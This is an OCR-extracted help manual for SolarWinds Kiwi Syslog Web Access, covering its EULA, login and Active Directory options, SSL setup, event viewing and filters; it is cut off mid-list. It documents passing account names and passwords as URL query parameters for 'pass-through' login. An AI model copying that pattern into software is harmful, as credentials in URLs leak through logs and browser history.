{"Source-Url": "https://www.cs.ru.nl/bachelors-theses/2023/Fouad_Lamsettef___1034545___Extending_ProFuzzBench_-_A_Benchmark_for_Stateful_Fuzzers.pdf", "len_cl100k_base": 14141, "olmocr-version": "0.1.49", "pdf-total-pages": 40, "total-fallback-pages": 0, "total-input-tokens": 78448, "total-output-tokens": 16878, "length": "2e13", "weborganizer": {"__label__adult": 0.0003821849822998047, "__label__art_design": 0.00037384033203125, "__label__crime_law": 0.0003876686096191406, "__label__education_jobs": 0.0006084442138671875, "__label__entertainment": 0.00010317564010620116, "__label__fashion_beauty": 0.00014030933380126953, "__label__finance_business": 0.0002149343490600586, "__label__food_dining": 0.0002605915069580078, "__label__games": 0.0009551048278808594, "__label__hardware": 0.0010776519775390625, "__label__health": 0.00028252601623535156, "__label__history": 0.0002417564392089844, "__label__home_hobbies": 0.00010722875595092772, "__label__industrial": 0.00032138824462890625, "__label__literature": 0.00033926963806152344, "__label__politics": 0.0002315044403076172, "__label__religion": 0.000354766845703125, "__label__science_tech": 0.028350830078125, "__label__social_life": 0.0001398324966430664, "__label__software": 0.0164337158203125, "__label__software_dev": 0.9482421875, "__label__sports_fitness": 0.00020754337310791016, "__label__transportation": 0.0002777576446533203, "__label__travel": 0.00016033649444580078}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 55204, 0.03229]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 55204, 0.31331]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 55204, 0.84465]], "google_gemma-3-12b-it_contains_pii": [[0, 278, false], [278, 1996, null], [1996, 3952, null], [3952, 4770, null], [4770, 6469, null], [6469, 8082, null], [8082, 10367, null], [10367, 12658, null], [12658, 13063, null], [13063, 14340, null], [14340, 16259, null], [16259, 16799, null], [16799, 17017, null], [17017, 18601, null], [18601, 21316, null], [21316, 23186, null], [23186, 25503, null], [25503, 26964, null], [26964, 28030, null], [28030, 29690, null], [29690, 29789, null], [29789, 29848, null], [29848, 30946, null], [30946, 32999, null], [32999, 34935, null], [34935, 36643, null], [36643, 37804, null], [37804, 38426, null], [38426, 39952, null], [39952, 41359, null], [41359, 43410, null], [43410, 44527, null], [44527, 46279, null], [46279, 47636, null], [47636, 48273, null], [48273, 49592, null], [49592, 51506, null], [51506, 53121, null], [53121, 54619, null], [54619, 55204, null]], "google_gemma-3-12b-it_is_public_document": [[0, 278, true], [278, 1996, null], [1996, 3952, null], [3952, 4770, null], [4770, 6469, null], [6469, 8082, null], [8082, 10367, null], [10367, 12658, null], [12658, 13063, null], [13063, 14340, null], [14340, 16259, null], [16259, 16799, null], [16799, 17017, null], [17017, 18601, null], [18601, 21316, null], [21316, 23186, null], [23186, 25503, null], [25503, 26964, null], [26964, 28030, null], [28030, 29690, null], [29690, 29789, null], [29789, 29848, null], [29848, 30946, null], [30946, 32999, null], [32999, 34935, null], [34935, 36643, null], [36643, 37804, null], [37804, 38426, null], [38426, 39952, null], [39952, 41359, null], [41359, 43410, null], [43410, 44527, null], [44527, 46279, null], [46279, 47636, null], [47636, 48273, null], [48273, 49592, null], [49592, 51506, null], [51506, 53121, null], [53121, 54619, null], [54619, 55204, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 55204, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 55204, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 55204, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 55204, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 55204, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 55204, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 55204, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 55204, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 55204, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 55204, null]], "pdf_page_numbers": [[0, 278, 1], [278, 1996, 2], [1996, 3952, 3], [3952, 4770, 4], [4770, 6469, 5], [6469, 8082, 6], [8082, 10367, 7], [10367, 12658, 8], [12658, 13063, 9], [13063, 14340, 10], [14340, 16259, 11], [16259, 16799, 12], [16799, 17017, 13], [17017, 18601, 14], [18601, 21316, 15], [21316, 23186, 16], [23186, 25503, 17], [25503, 26964, 18], [26964, 28030, 19], [28030, 29690, 20], [29690, 29789, 21], [29789, 29848, 22], [29848, 30946, 23], [30946, 32999, 24], [32999, 34935, 25], [34935, 36643, 26], [36643, 37804, 27], [37804, 38426, 28], [38426, 39952, 29], [39952, 41359, 30], [41359, 43410, 31], [43410, 44527, 32], [44527, 46279, 33], [46279, 47636, 34], [47636, 48273, 35], [48273, 49592, 36], [49592, 51506, 37], [51506, 53121, 38], [53121, 54619, 39], [54619, 55204, 40]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 55204, 0.05843]]}
olmocr_science_pdfs
2024-11-25
2024-11-25
6268f45d395bc0f86b303a6e2839e98e26d23623
Kiwi Syslog™ Web Access © 2015 SolarWinds, Inc. # Table of Contents ## Part I Welcome 1. What is Kiwi Syslog Web Access? ......................................................... 1 2. Configuration ..................................................................................... 1 ## Part II End User License Agreement (EULA) 1. Definitions .......................................................................................... 2 2. Grant of License .................................................................................. 3 3. License Restrictions ............................................................................ 4 ## Part III Login Gateway 1. Overview ........................................................................................... 8 2. Pass-through Authentication ............................................................... 9 3. AD Authentication .............................................................................. 9 4. Enabling SSL .................................................................................... 11 ## Part IV Events 1. Overview ........................................................................................... 12 2. Filtering Events .................................................................................. 13 3. Events Grid ....................................................................................... 13 4. Event Highlighting ............................................................................ 14 5. Find ................................................................................................... 15 6. Quick Filtering .................................................................................... 15 7. Direct Link .......................................................................................... 17 8. Export to CSV .................................................................................... 18 ## Part V Filters 1. Overview ........................................................................................... 19 2. Add a filter ........................................................................................ 19 3. Rename a filter ................................................................................ 20 4. Import a filter ................................................................................... 20 5. Export a filter .................................................................................. 21 6. Delete a filter ................................................................................... 21 7. Filter properties ................................................................................ 22 ## Part VI Highlighting 1. Overview ........................................................................................... 24 2. Import highlighting ........................................................................... 26 Part VII Settings 27 1 Overview ................................................................................................................................... 27 Part VIII Admin 28 1 Overview ................................................................................................................................... 28 2 Add an account ................................................................................................................................... 30 3 Reset password ................................................................................................................................... 30 4 Delete account(s) ................................................................................................................................... 30 5 Database Maintenance ................................................................................................................................... 31 6 Website Configuration ................................................................................................................................... 32 Welcome Welcome to the Kiwi Syslog Web Access help file documentation. Hopefully you will find the necessary help or assistance you require within these pages. If however you do not find what you are looking for, then please search the SolarWinds Thwack forums. The following topics can be found in this chapter: - See What is Kiwi Syslog Web Access for a general overview of the product. - See Configuration for information on how to configure Kiwi Syslog Web Access with Kiwi Syslog Server. 1.1 What is Kiwi Syslog Web Access? Kiwi Syslog Web Access is a web-based access portal for Kiwi Syslog Server, which provides web-based filtering and highlighting of syslog events logged from Kiwi Syslog Server. Kiwi Syslog Web Access can run on the following Windows operating system versions: - Windows 2012 - Windows 2012 R2 - Windows 2003 R2 * - Windows 2008 R2 * - Windows 8 - Windows 8.1 - Windows 7 * * x86 and x64 editions supported. 1.2 Configuration Kiwi Syslog Web Access provides web-based filtering and highlighting of syslog events logged from Kiwi Syslog Server. To configure Kiwi Syslog Server to log events to Kiwi Syslog Web Access, create a "Log To Kiwi Syslog Web Access" action in Kiwi Syslog Server: 2 End User License Agreement (EULA) IMPORTANT – READ CAREFULLY: BY DOWNLOADING, INSTALLING, AND/OR USING THE SOFTWARE (DEFINED BELOW), YOU (DEFINED BELOW) AGREE TO BE BOUND BY THE TERMS OF THIS AGREEMENT (DEFINED BELOW). IF YOU DO NOT AGREE TO THE TERMS OF THIS AGREEMENT, YOU MUST NOT DOWNLOAD, INSTALL, OR USE THE SOFTWARE, AND YOU MUST DELETE OR RETURN THE UNUSED SOFTWARE. SOLARWINDS END USER LICENSE AGREEMENT This End User License Agreement (the “Agreement”) is hereby entered into and agreed upon by you, either an individual or an entity, and its Affiliates (“You” or “Company”) and SolarWinds Worldwide, LLC (“SolarWinds Worldwide”) for the Software. 2.1 Definitions - “Affiliates” means an entity controlled by, under common control with, or controlling such party, where control is denoted by having fifty percent (50%) or more of the voting power (or equivalent) of the applicable entity. Subject to the terms and conditions of this Agreement, Affiliates may use the license generated hereunder. All references to SolarWinds shall be deemed to be references to SolarWinds and its Affiliates, and all references to Company, You, or Your shall be deemed to be references to Company and its Affiliate (s). - "Computer" means the hardware, if the hardware is a single computer system, whether physical or virtual, or means the computer system with which the hardware operates, if the hardware is a computer system component. “Documentation” means the official user documentation provided by SolarWinds Worldwide to You on the use of the Software. For the avoidance of doubt, any installation guide or end user documentation not prepared or provided by SolarWinds Worldwide; any online community site; unofficial documentation, videos, white papers, or related media; or feedback does not constitute Documentation. - “Documentation” means the official user documentation provided by SolarWinds Worldwide to You on the use of the Software. For the avoidance of doubt, any installation guide or end user documentation not prepared or provided by SolarWinds Worldwide; any online community site; unofficial documentation, videos, white papers, or related media; or feedback does not constitute Documentation. - “Software” means the object code versions of the product, together with the updates, new releases or versions, modifications or enhancements, owned and provided by SolarWinds Worldwide to You pursuant to this Agreement. 2.2 Grant of License - Production License. Upon payment of the applicable fees for the Software and continuous compliance with the terms and conditions of this Agreement, SolarWinds Worldwide hereby grants You a limited, perpetual, nonexclusive, nontransferable license to use the object code of the Software and Documentation in Your facility subject to the terms contained herein: o For each Software license key that You purchase from SolarWinds Worldwide, You may: (i) use the Software on any single Computer, unless the Documentation clearly indicates otherwise; and (ii) copy the Software for back-up and archival purposes, provided any copy must contain all of the original Software’s proprietary notices and a notice that it will not be used for transfer, distribution or sale. o The Software is in use on a Computer when it is loaded into temporary memory or installed in permanent memory (hard drive, CD-ROM or other storage device). You agree to use Your reasonable efforts to prevent and protect the contents of the Software and Documentation from unauthorized use or disclosure, with at least the same degree of care that You use to protect Your own confidential and proprietary information, but in no event less than a reasonable degree of care under the circumstances. You agree that You will register this Software only with SolarWinds and that You will only install a Software license key obtained directly from SolarWinds. - **Software Evaluation License.** If the Software is provided to You for evaluation purposes, SolarWinds Worldwide grants to You a nonexclusive, limited, royalty-free, nontransferable evaluation license to use the Software solely for evaluation prior to purchase (an “Evaluation License”). The Evaluation License shall terminate on the end date of the predetermined evaluation period or immediately upon notice from SolarWinds at its sole discretion. Notwithstanding any other provision contained herein, Software provided pursuant to an Evaluation License is provided to You “AS IS” without indemnification, support, or warranty of any kind, express or implied. Except to the extent such terms conflict with the specific Evaluation License terms set forth in this Section, all other terms of this End User License shall apply to Software licensed under an Evaluation License. - **High Availability and/or Disaster Recovery Purpose License.** If You are obtaining a redundant version of the Software solely for high availability and/or disaster recovery purposes for use on Your disaster recovery Computer, You represent and warrant that (i) You may actively run the redundant version of the Software on a Computer, provided it is not running on a primary production Computer, unless (a) the primary production Computer related to the primary production version of the Software fails, (b) the Software or Computer associated with the primary production license is being upgraded or replaced, or (c) other temporary reasons that disrupt all or a material part of Your business operations; (ii) You will not utilize the redundant version of the Software to monitor any items not being monitored by the primary production Computer; and (iii) You will promptly get the primary production Computer hosting the primary production license operating correctly in order to support Your daily activities. ### 2.3 License Restrictions - You may not: (i) provide, make available to, or permit other individuals to use the Software or Documentation, except under the terms listed above, either in whole or part; (ii) modify, translate, reverse engineer, decompile, disassemble, create derivative works, or otherwise attempt to derive the source code based upon the Software or Documentation; (iii) copy, reproduce, republish, upload, post, or transmit the Software or Documentation (except for back-up or archival purposes, which will not be used for transfer, distribution, or sale); (iv) license, sell, rent, lease, transfer, sublicense, distribute, or otherwise transfer rights to the Software or Documentation; (v) remove any proprietary notices or labels on the Software or Documentation; or (vi) license the Software if You are a direct competitor of SolarWinds for the purposes of monitoring the Software’s availability, performance, or functionality or for any other benchmarking or competitive purposes. Any such forbidden use shall immediately terminate Your license to the Software. The Software, including its monitoring, managing, recording, playback, and download features, are intended only for use with public domain or properly licensed third party materials. You might need a third party license to create, copy, download, record or save third-party media or content files for playback by this Software or to serve or distribute such files to be played back by the Software. All responsibility for obtaining such a license is Yours, and SolarWinds shall not be responsible for Your failure to do so. - **SolarWinds Trademarks.** You may not delete, remove, hide, move or alter any trademark, logo, icon, image or text that represents the company name of SolarWinds, any derivation thereof, or any icon, image, or text that is likely to be confused with the same. All representations of the company name or mark “SolarWinds” or any of its Affiliates’ names or marks must remain as originally distributed regardless of the presence or absence of a trademark, copyright, or other intellectual property symbol or notice. - **Export Restrictions.** The Software and Documentation delivered to You under this Agreement are subject to U.S. export control laws and regulations and may also be subject to import and export laws of the jurisdiction in which it was obtained, if outside the U.S. You shall abide by all applicable export control laws, rules and regulations applicable to the Software and Documentation. You agree that You will not export, re-export, or transfer the Software or Documentation, in whole or in part, to any country, person, or entity subject to U.S. export restrictions. You specifically agree not to export, re-export, or transfer the Software or Documentation (i) to any country to which the U.S. has embargoed or restricted the export of goods or services, or to any national of any such country, wherever located, who intends to transmit or transport the products back to such country; (ii) to any person or entity who You know or have reason to know will utilize the Software or portion thereof in the design, development, production or use of nuclear, chemical or biological materials, facilities, or weapons; or (iii) to any person or entity who has been prohibited from participating in U.S. export transactions by any federal agency of the U.S. government. - **Compliance with Applicable Laws.** The Software and Documentation are protected by the intellectual property laws and other laws of the United States and international laws and treaties, including intellectual property laws. You agree that You shall use the Software and Documentation solely in a manner that complies with all applicable laws in the jurisdictions in which You use the Software and Documentation, including, but not limited to, applicable restrictions concerning copyright and other intellectual property rights. - **RIGHTS RESERVED.** THE SOFTWARE IS LICENSED, NOT SOLD. Use herein of the word “purchase” in conjunction with licenses, license keys, or the Software shall not imply a transfer of ownership. Unless as conveyed herein, this Agreement does not grant You any rights, title, or interest in or to Software, Documentation, trademarks, service marks, or trade secrets, or corresponding intellectual property (including without limitation any images, photographs, animations, video, audio, music, and text incorporated into the Software, the accompanying printed materials, and any copies of the Software) of SolarWinds or its suppliers, and all rights, title, and interest in and to the Software, Documentation, and corresponding intellectual property shall remain the property of SolarWinds, its suppliers, or are publicly available. All rights not expressly granted under this Agreement are reserved by SolarWinds, its suppliers, or third parties. All title, rights, and interest in and to content, which may be accessed through the Software, is the property of the respective owner and may be protected by applicable intellectual property laws and treaties. This Agreement gives You no rights to such content, including use of the same. SolarWinds agrees that the data and information (including without limitation, computer software, computer database, computer software documentation, specifications, design drawings, reports, blueprints, and the like) generated by the Software from Your proprietary data and information shall be andremain Your sole property. - **DATA RIGHTS.** You agree that SolarWinds will collect and track technical and related information about You and Your use of the Software, which may include Your internet protocol address, hardware identifying information, operating system, application software, peripheral hardware, and Software usage statistics, to assist with the necessary operation and function of the Software, the provision of updates, support, invoicing, marketing by SolarWinds or its agents, and research and development. As a reminder, SolarWinds Privacy Policy can be found here [http://www.solarwinds.com/privacy.aspx](http://www.solarwinds.com/privacy.aspx), and SolarWinds may update its Privacy Policy from time to time. - **LIMITED WARRANTY.** SolarWinds Worldwide warrants to You that for a period of thirty (30) days following the initial purchase and delivery of the Software to You that the Software will perform substantially in conformance with the Documentation. SolarWinds Worldwide does not warrant that the Software will meet all of Your requirements or that the use of the Software will be uninterrupted or error-free. The foregoing warranty applies only to failures in operation of the Software that are reproducible in standalone form and does not apply to: (i) Software that is modified or altered by You or any third party that is not authorized by SolarWinds Worldwide; (ii) Software that is otherwise operated in violation of this Agreement or other than in accordance with the Documentation; or (iii) failures that are caused by other software or hardware products. To the maximum extent permitted under applicable law, as SolarWinds’ and its suppliers’ entire liability, and as Your exclusive remedy for any breach of the foregoing warranty, SolarWinds Worldwide will, at its sole option and expense, promptly repair or replace any Software that fails to meet this limited warranty or, if SolarWinds Worldwide is unable to repair or replace the Software, refund to You the applicable license fees paid upon return, if applicable, of the nonconforming item to SolarWinds Worldwide. The warranty is void if failure of the Software has resulted from accident, abuse, or misapplication. Any replacement Software under this limited warranty will be warranted for thirty (30) days. EXCEPT AS EXPRESSLY STATED IN THIS SECTION, TO THE MAXIMUM EXTENT PERMITTED UNDER APPLICABLE LAW, SOLARWINDS IS PROVIDING AND LICENSING THE SOFTWARE TO YOU "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY TITLE, NON INFRINGEMENT, AND FITNESS FOR A PARTICULAR PURPOSE. - **INTELLECTUAL PROPERTY INDEMNIFICATION.** SolarWinds Worldwide will indemnify and hold You harmless from any third party claim brought against You that the Software, as provided by SolarWinds Worldwide to You under this Agreement and used within the scope of this Agreement, infringes or misappropriates any U.S. patent, copyright, trademark, trade secret, or other intellectual property rights of a third party, provided (i) use of the Software by You is in conformity with the Agreement and Documentation; (ii) the infringement is not caused by modification or alteration of the Software or Documentation; and/or (iii) the infringement was not caused by a combination or use of the Software with products not supplied by SolarWinds. SolarWinds Worldwide’s indemnification obligations are contingent upon You: (i) promptly notifying SolarWinds Worldwide in writing of the claim; (ii) granting SolarWinds Worldwide sole control of the selection of counsel, defense, and settlement of the claim; and (iii) providing SolarWinds Worldwide with reasonable assistance, information and authority required for the defense and settlement of the claim. This Section states SolarWinds’ entire liability (and shall be Company’s sole and exclusive remedy) with respect to indemnification to Company. **LIMITATION OF LIABILITY.** TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT WILL SOLARWINDS, ITS DIRECTORS, OFFICERS, AGENTS, SUPPLIERS AND LICENSORS, BE LIABLE TO YOU (WHETHER IN CONTRACT, TORT (INCLUDING NEGLIGENCE) OR OTHERWISE) (I) FOR MORE THAN THE AMOUNT OF LICENSE FEES THAT YOU HAVE PAID TO SOLARWINDS IN THE PRECEDING (12) TWELVE MONTHS FOR THE APPLICABLE SOFTWARE OR (II) FOR ANY INDIRECT, INCIDENTAL, CONSEQUENTIAL, SPECIAL, PUNITIVE, OR EXEMPLARY DAMAGES, INCLUDING WITHOUT LIMITATION LOST PROFITS, LOST BUSINESS OPPORTUNITIES, LOSS OF USE OF THE SERVICE OFFERING, LOSS OF GOODWILL, BUSINESS INTERRUPTION, LOSS OF DATA, LOST SAVINGS, OR OTHER ECONOMIC DAMAGE, ARISING OUT OF THIS AGREEMENT OR THE USE OR INABILITY TO USE THE SOFTWARE OR DOCUMENTATION, EVEN IF SOLARWINDS OR A DEALER AUTHORIZED BY SOLARWINDS HAD BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. **Third Party Programs.** To the extent the Software is bundled with third party software programs; these third party software programs are governed by their own license terms, which may include open source or free software licenses. Nothing in this Agreement limits an end user’s rights under, or grants the end user rights that supersede, the terms of any such third party software. **CHOICE OF LAW AND VENUE.** This Agreement shall be governed by the laws of the State of Texas and of the United States, without regard to any conflict of laws provisions, except that the United Nations Convention on the International Sale of Goods shall not apply. The parties agree that the provisions of the Uniform Computer Information Transactions Act shall not apply to this Agreement. You hereby consent to jurisdiction of the courts of both the state or federal courts of Texas. **COUNTERPARTS AND FACSIMILE SIGNATURE.** This Agreement may be executed in counterparts, each of which shall be deemed an original and all of which shall constitute one and the same instrument. The Parties may exchange signature pages by facsimile and such signatures shall be effective to bind the Parties. **COMPLETE AGREEMENT.** This Agreement along with the Software Support and Maintenance Terms and Conditions constitute the entire agreement between the Parties and supersedes all prior or contemporaneous communications, agreements and understandings, written or oral, with respect to the subject matter hereof including without limitation the terms of any party or any purchase order issued in connection with this Agreement. If any provision of this Agreement is held to be unenforceable, that shall not affect the enforceability of the remaining provisions. This Agreement shall not be amended or modified except in a writing signed by authorized representatives of each party. • **RESTRICTED RIGHTS.** SolarWinds' Software is provided to non-DOD agencies with RESTRICTED RIGHTS and its supporting documentation is provided with LIMITED RIGHTS. Use, duplication, or disclosure by the government is subject to the restrictions as set forth in subparagraph "C" of the Commercial Computer Software – Restricted Rights clause at FAR 52.227-19. In the event the sale is to a DOD agency, the government's rights in software, supporting documentation, and technical data are governed by the restrictions in the Technical Data Commercial Items clause at DFARS 252.227-7015 and DFARS 227.7202. Manufacturer is SolarWinds Worldwide, LLC, 7171 Southwest Parkway, Building 400, Austin, Texas 78735. 3 **Login Gateway** This chapter provides information and guidance relating to the **Login Gateway** page in Kiwi Syslog Web Access. The following topics can be found in this chapter: - See **Overview** for a general overview of the **Login Gateway** page. - See **Pass-through Authentication** for a general overview of the **Login Gateway's Pass-through Authentication support** page. - See **AD Authentication** to configure the Active Directory Authentication for Kiwi Web Access. 3.1 **Overview** The **Login Gateway** restricts access to Kiwi Syslog Web Access. ![Login Gateway](image) The default (Administrator) account is configured during product installation. To login to Kiwi Syslog Web Access, supply the password created during the installation process. *Several users can be configured in Kiwi Web Access. These accounts can be a mixture of both Administrative or Standard Users, with at least one Administrative account.* 3.2 Pass-through Authentication Kiwi Syslog Web Access supports pass-through style authentication, enabling direct linking to pages within the website - without having to login manually. Consider the following example: For a usual Kiwi Syslog Web Access installation on localhost port 8088, opening a new browser session and navigating to http://localhost:8088/Events.aspx would result in the user seeing the Login Gateway page - ie. Manual authentication would be required. Pass-through authentication: Kiwi Syslog Web Access provides two additional QueryString Parameters to support pass-through authentication. 1. AccountId 2. Password Pass-through (or direct links) in the following form will not require manual login (login will occur automatically): 3.3 AD Authentication This setting will allow an Administrator to configure the Active Directory Authentication for Kiwi Web Access. The AD users has to use their Login ID as “domain\domain ID”. Then KWA will use the authentication through AD. Domain URL: Enter the Active Directory LDAP URL here. Authentication Type: This setting determines how KWA Server is interacting with the Domain Server by using the Domain URL. If the field is blank, the application will treat it as ‘Secure’ Different types are: <table> <thead> <tr> <th>Authentication</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>Anonymous</td> <td>No authentication is performed.</td> </tr> <tr> <td>Delegation</td> <td>Enables Active Directory Services Interface (ADSI) to delegate the user’s security context, which is necessary for moving objects across domains.</td> </tr> <tr> <td>Encryption</td> <td>Attaches a cryptographic signature to the message that both identifies the sender and ensures that the message has not been modified in transit.</td> </tr> <tr> <td><strong>FastBind</strong></td> <td>Specifies that ADSI will not attempt to query the Active Directory Domain Services <code>objectClass</code> property. Therefore, only the base interfaces that are supported by all ADSI objects will be exposed. Other interfaces that the object supports will not be available. A user can use this option to boost the performance in a series of object manipulations that involve only methods of the base interfaces. However, ADSI does not verify if any of the request objects actually exist on the server.</td> </tr> <tr> <td><strong>None</strong></td> <td>Equates to zero, which means to use basic authentication (simple bind) in the LDAP provider.</td> </tr> <tr> <td><strong>ReadonlyServer</strong></td> <td>For a WinNT provider, ADSI tries to connect to a domain controller. For Active Directory Domain Services, this flag indicates that a writable server is not required for a serverless binding.</td> </tr> <tr> <td><strong>Sealing</strong></td> <td>Encrypts data using Kerberos. The Secure flag must also be set to use sealing.</td> </tr> <tr> <td><strong>Secure</strong></td> <td>Requests secure authentication. When this flag is set, the WinNT provider uses NTLM to authenticate the client. Active Directory Domain Services uses Kerberos, and possibly NTLM, to authenticate the client. When the user name and password are a null reference (<strong>Nothing</strong> in Visual Basic), ADSI binds to the object using the security context of the calling thread, which is either the security context of the user account under which the application is running or of the client user account that the calling thread is impersonating.</td> </tr> <tr> <td><strong>SecureSocketsLayer</strong></td> <td>Attaches a cryptographic signature to the message that both identifies the sender and ensures that the message has not been modified in transit. Active Directory Domain Services requires the Certificate Server be installed to support Secure Sockets Layer (SSL) encryption.</td> </tr> <tr> <td><strong>ServerBind</strong></td> <td>If your ADsPath includes a server name, specify this flag when using the LDAP provider. Do not use this flag for paths that include a domain name or for server less paths. Specifying a server name without also specifying this flag results in unnecessary network traffic.</td> </tr> <tr> <td><strong>Signing</strong></td> <td>Verifies data integrity to ensure that the data received is the same as the data sent. The Secure flag must also be set to use signing.</td> </tr> </tbody> </table> **User Groups:** Administrator can restrict the access to Kiwi Web Access to specific domain user groups. Multiple user groups can also be provided here (separated by ;). **For example:** Domain (FQDN): server.domain.com Authentication Type: <blank>, defaults to Secure User Groups: Domain Admins For more information about enabling SSL for Kiwi Web Access. 3.4 Enabling SSL To enable SSL complete the following: After Kiwi Web access has been installed- 2. Click Ecosystem to create SSL certificate. 3. Click on ‘Create New Certificate’. 4. Click on ‘Create self-signed test certificate’. 5. Choose/text the name of SSL identity. 6. Click ‘OK’ after view the created certificate details. 7. Created certificate will be listed as like below. 8. Click to register new site or application with UltiDev Web Server. 9. Select the option ‘ASP.NET web Application’ and proceed. 10. Select the option ‘ASP.NET 2.0, 3.0 or 3.5’ and proceed. 11. Select the second option to load ‘native 32 bit components’ and then click Next. 12. Select ‘LOCAL SYSTEM’ and and then click Next. 14. Select Gateway.aspx file from \SolarWinds\Kiwi Syslog Web Access\html in installed location. 15. Change the application name to ‘Syslogd’. 16. Remove the virtual directory default entry and leave it blank. 17. Remove the existing HTTP Listen Address for Kiwi Web Access. 18. Add HTTPS/SSL Listen Address. 19. Select the created certificate. 20. Choose the port by ‘Find Free Port’ option or enter your own port and proceed. 21. Select the option ‘Anonymous’. 22. Click Finish. 23. Created host will be listed in the left side panel. 24. This can be verified by browsing. 25. Your host will be accessed using https. 4 Events This chapter provides information and guidance relating to the Events page in Kiwi Syslog Web Access. The following topics can be found in this chapter: - See Overview for a general overview of the Events page. - See Filtering Events for information on displaying filtered events. - See Events Grid for information on the layout of the events grid. - See Event Highlighting for information on event highlighting in the events grid. - See Find for information on searching for events in the events grid. - See Quick Filtering for information on event filter refinement in the events grid. - See Direct Link for information on direct linking to the Events page. - See Export to CSV for information on exporting to CSV from the Events page. 4.1 Overview The Events page displays syslog events that have been logged to Kiwi Syslog Web Access by Kiwi Syslog Server. The events page is set to auto-refresh, based upon the Page Refresh Rate setting, accessible from the Settings page. Whether or not the events page refreshes automatically is controllable through the Pause and Resume buttons. 4.2 Filtering Events The syslog events that are displayed in the Events grid can be filtered by selecting from the Filter drop-down in the events page of Kiwi Syslog Web Access: The filter drop-down includes two default (system-defined) filters: - [All Kiwi Syslog Server Events] Displays all available syslog event data. - Warnings and above Displays syslog events with a priority level of Warning and above (i.e. Emergency, Critical, Alert and Warning). Additional (user-defined) filters appear in this drop-down as well. 4.3 Events Grid The layout of the Kiwi Syslog Web Access events grid is fully customizable. Changes made, including column order (positioning), column sizes and column visibility, apply only to the selected filter, enabling users to create layouts that relate directly to the filtered event data. Columns can be repositioned by clicking and dragging columns in the column header. Columns can be resized by clicking and dragging between columns in the column header. Columns can be shown or hidden by clicking on the **Columns** button and checking or unchecking the column names. ### 4.4 Event Highlighting Syslog events that are displayed in the events grid inherit highlighting attributes from highlighting rules configured in the **Highlighting** page. Highlighting in the events grid can be turned on or off using the **Toggle Highlighting** button. 4.5 **Find** Syslog events can be searched easily using the Find function. Items matching the search terms provided will be highlighted in the events grid. 4.6 **Quick Filtering** Syslog events that are displayed in the events grid can be refined using the filter refinement or quick filter function. By clicking on items in the events grid, quick filter terms are added, and the currently selected filter is refined to include these terms. Quick filter terms can be removed individually, or altogether by clicking the **Clear All** button. The current filter refinement can be saved as a new filter, by clicking the **Save as Filter** button. 4.7 Direct Link Kiwi Syslog Web Access support direct linking. Direct linking is a way of specifying filter refinements in the URL, enabling links to be built and passed to Web Access from other systems (such as SolarWinds Orion NPM). The Direct Link button: Clicking on the Direct Link button will open a new window with the direct link in the Address bar. eg. This link was generated from a Quick Filter, by clicking the Direct Link button in the toolbar. Note: The AccountId and Password URL parameters are also supported, see Pass-through Authentication for more information. http://localhost:8088/Events.aspx?FID=1&UID=0&Facility=Local7&Level=Debug&Date=2009-12-03&AccountId=Administrator&Password=***** 4.8 **Export to CSV** Syslog events that are displayed in the events grid can be exported to CSV. The CSV export function can export either the Current Page or a specified Page Range. When Export is complete, a save dialog will appear. The filename will default to the name of the filter in the current view. --- 5 **Filters** This chapter provides information and guidance relating to the Filters page in Kiwi Syslog Web Access. The following topics can be found in this chapter: - See **Overview** for a general overview of the Filters page. - See **Add a filter** for information on adding a new filter. - See **Rename a filter** for information on renaming an existing filter. - See **Import a filter** for information on importing a new filter. - See **Export a filter** for information on exporting an existing filter. - See **Delete a filter** for information on deleting an existing filter. - See **Filter properties** for information on configuring filter properties. ### 5.1 Overview The **My Filters** drop-down list contains a list of user-defined filters. The filters which appear in this list relate only to the current (logged-in) user. The **Filter toolbar** allows the creation, renaming, import, export and deletion of Filters. The **Filter properties** section specifies the filter criteria that will be applied for this filter. The current version of Kiwi Syslog Web Access supports only **Kiwi Syslog Server Event** types. ### 5.2 Add a filter To add a new filter click the **Add** button in the Filters toolbar. Enter a name for the new filter when the Add filter dialog appears. The current version of Kiwi Syslog Web Access supports only standard filter types. Future editions may include other filter types. 5.3 Rename a filter To rename an existing filter, click the **Rename** button in the Filters toolbar. Enter a new name for the filter when the Rename filter dialog appears. ![Rename Filter Dialog] 5.4 Import a filter To import a filter (that was previously exported), click the **Import** button in the Filters toolbar. Select the filter to import when the Import filter dialog appears. Kiwi Syslog Web Access Filters have the **.ksf** extension by default. ![Choose File Dialog] 5.5 Export a filter To export a filter, click the **Export** button in the Filters toolbar. Select the location to save the filter to. Kiwi Syslog Web Access Filters have the `.ksf` extension by default. Kiwi Syslog Web Access provides the ability to share your filter with your colleagues at Thwack. **To share your filter:** 1. Click [here](#). 2. On the Upload File web page, click Specify File/URL. 3. Click Upload File, and then click Browse. 4. Navigate to the filter file you exported, and then click Open. 5. Click Save. 6. Enter a descriptive name for your filter. For example, `Syslog Priority - Warnings and above`. 7. Provide a description of your filter. 8. Provide Tags so people can find your filter with a quick scan. For example, `Syslog, Priority, 